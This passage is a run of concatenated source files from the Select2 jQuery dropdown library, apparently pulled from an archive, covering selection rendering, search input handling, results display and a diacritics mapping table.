() { var $this = $(this); if (this == $select[0]) { return; } var $element = Utils.GetData(this, 'element'); $element.select2('close'); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); js/select2/selection/search.js000064400000014766151677313660012346 0ustar00define([ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '<li class="select2-search select2-search--inline">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" aria-autocomplete="list" />' + '</li>' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('open', function () { self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.id); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = Utils.GetData($previousChoice[0], 'data'); self.searchRemoveChoice(item); evt.preventDefault(); } } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { var isTagInput = this.$element.find('[data-select2-tag]').length; if (isTagInput) { // fix IE11 bug where tag input lost focus this.$element.focus(); } else { this.$search.focus(); } } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); js/select2/selection/allowClear.js000064400000005327151677313660013157 0ustar00define([ 'jquery', '../keys', '../utils' ], function ($, KEYS, Utils) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = Utils.GetData($clear[0], 'data'); var previousVal = this.$element.val(); this.$element.val(this.placeholder.id); var unselectData = { data: data }; this.trigger('clear', unselectData); if (unselectData.prevented) { this.$element.val(previousVal); return; } for (var d = 0; d < data.length; d++) { unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { this.$element.val(previousVal); return; } } this.$element.trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '<span class="select2-selection__clear">' + '×' + '</span>' ); Utils.StoreData($remove[0], 'data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); js/select2/selection/single.js000064400000005201151677313660012342 0ustar00define([ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '<span class="select2-selection__rendered"></span>' + '<span class="select2-selection__arrow" role="presentation">' + '<b role="presentation"></b>' + '</span>' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered') .attr('id', id) .attr('role', 'textbox') .attr('aria-readonly', 'true'); this.$selection.attr('aria-labelledby', id); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); }; SingleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); // clear tooltip on empty }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $('<span></span>'); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = this.display(selection, $rendered); $rendered.empty().append(formatted); $rendered.attr('title', selection.title || selection.text); }; return SingleSelection; }); js/select2/selection/eventRelay.js000064400000002243151677313660013202 0ustar00define([ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting', 'clear', 'clearing' ]; var preventableEvents = [ 'opening', 'closing', 'selecting', 'unselecting', 'clearing' ]; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); js/select2/selection/clickMask.js000064400000001251151677313660012763 0ustar00define([ 'jquery' ], function ($) { function ClickMask () { } ClickMask.prototype.bind = function (decorate, $container, container) { var self = this; decorate.call(this, $container, container); this.$mask = $( '<div class="select2-close-mask"></div>' ); this.$mask.on('mousedown touchstart click', function () { self.trigger('close', {}); }); }; ClickMask.prototype._attachCloseHandler = function (decorate, container) { $(document.body).append(this.$mask); }; ClickMask.prototype._detachCloseHandler = function (deocrate, container) { this.$mask.detach(); }; return ClickMask; }); js/select2/selection/placeholder.js000064400000002473151677313660013353 0ustar00define([ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.html(this.display(placeholder)); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); js/select2/selection/multiple.js000064400000005466151677313660012731 0ustar00define([ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '<ul class="select2-selection__rendered"></ul>' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = Utils.GetData($selection[0], 'data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); }; MultipleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '<li class="select2-selection__choice">' + '<span class="select2-selection__choice__remove" role="presentation">' + '×' + '</span>' + '</li>' ); return $container; }; MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); $selection.append(formatted); $selection.attr('title', selection.title || selection.text); Utils.StoreData($selection[0], 'data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); js/select2/selection/stopPropagation.js000064400000001354151677313660014257 0ustar00define([ ], function () { function StopPropagation () { } StopPropagation.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); var stoppedEvents = [ 'blur', 'change', 'click', 'dblclick', 'focus', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'keypress', 'mousedown', 'mouseenter', 'mouseleave', 'mousemove', 'mouseover', 'mouseup', 'search', 'touchend', 'touchstart' ]; this.$selection.on(stoppedEvents.join(' '), function (evt) { evt.stopPropagation(); }); }; return StopPropagation; }); js/select2/results.js000064400000032356151677313660010610 0ustar00define([ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '<ul class="select2-results__options" role="tree"></ul>' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '<li role="treeitem" aria-live="assertive"' + ' class="select2-results__option"></li>' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[aria-selected]'); var $selected = $options.filter('[aria-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[aria-selected]'); $options.each(function () { var $option = $(this); var item = Utils.GetData(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('aria-selected', 'true'); } else { $option.attr('aria-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'treeitem', 'aria-selected': 'false' }; if (data.disabled) { delete attrs['aria-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['aria-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs.role = 'group'; attrs['aria-label'] = data.text; delete attrs['aria-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('<ul></ul>', { 'class': 'select2-results__options select2-results__options--nested' }); $childrenContainer.append($children); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } Utils.StoreData(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = Utils.GetData($highlighted[0], 'data'); if ($highlighted.attr('aria-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further // If no options, currentIndex will be -1 if (currentIndex <= 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted'); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[aria-selected]', function (evt) { var $this = $(this); var data = Utils.GetData(this, 'data'); if ($this.attr('aria-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[aria-selected]', function (evt) { var data = Utils.GetData(this, 'data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); js/select2/diacritics.js000064400000041164151677313660011222 0ustar00define([ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', '\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', 